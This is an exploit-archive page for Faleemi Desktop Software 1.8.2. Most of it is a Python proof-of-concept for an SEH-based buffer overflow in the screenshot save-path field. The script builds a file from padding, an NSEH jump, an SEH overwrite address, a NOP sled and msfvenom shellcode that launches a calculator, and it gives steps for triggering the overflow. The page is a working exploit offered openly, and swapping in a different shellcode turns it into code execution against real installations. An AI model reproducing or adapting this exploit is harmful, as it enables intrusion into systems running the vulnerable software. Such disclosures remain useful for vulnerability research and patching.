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Faleemi Desktop Software 1.8.2 Buffer Overflow

Faleemi Desktop Software 1.8.2 Buffer Overflow
Posted Sep 14, 2018
Authored by Gionathan Reale

Faleemi Desktop Software version 1.8.2 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | f64ad4c397c58475d0341465de20c396

Faleemi Desktop Software 1.8.2 Buffer Overflow

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# Exploit Title: Faleemi Desktop Software 1.8.2 - 'SavePath for ScreenShots' Buffer Overflow (SEH)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-13
# Software Link: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Version: 1.8.2
# Tested on OS: Windows 7 32bit
# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name
# "exploit.txt" just copy the text inside "exploit.txt" and start the program
# and click on "System Setup" in the "Save Path for Snapshot and Record file" field.
# Paste the content of "exploit.txt" and click on Save. You will see a calculator poped up.

#!/usr/bin/python

buffer = "A" * 260

NSEH = "\xeb\x06\x90\x90"

SEH = "\x01\x19\x0c\x6a"
nops = "\x90" * 400
#badchar \x00\x0a\x0d\x2f
#msfvenom calculator
buf = ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (6384 - len(NSEH) - len(SEH) - len(buffer) - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf + pad
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


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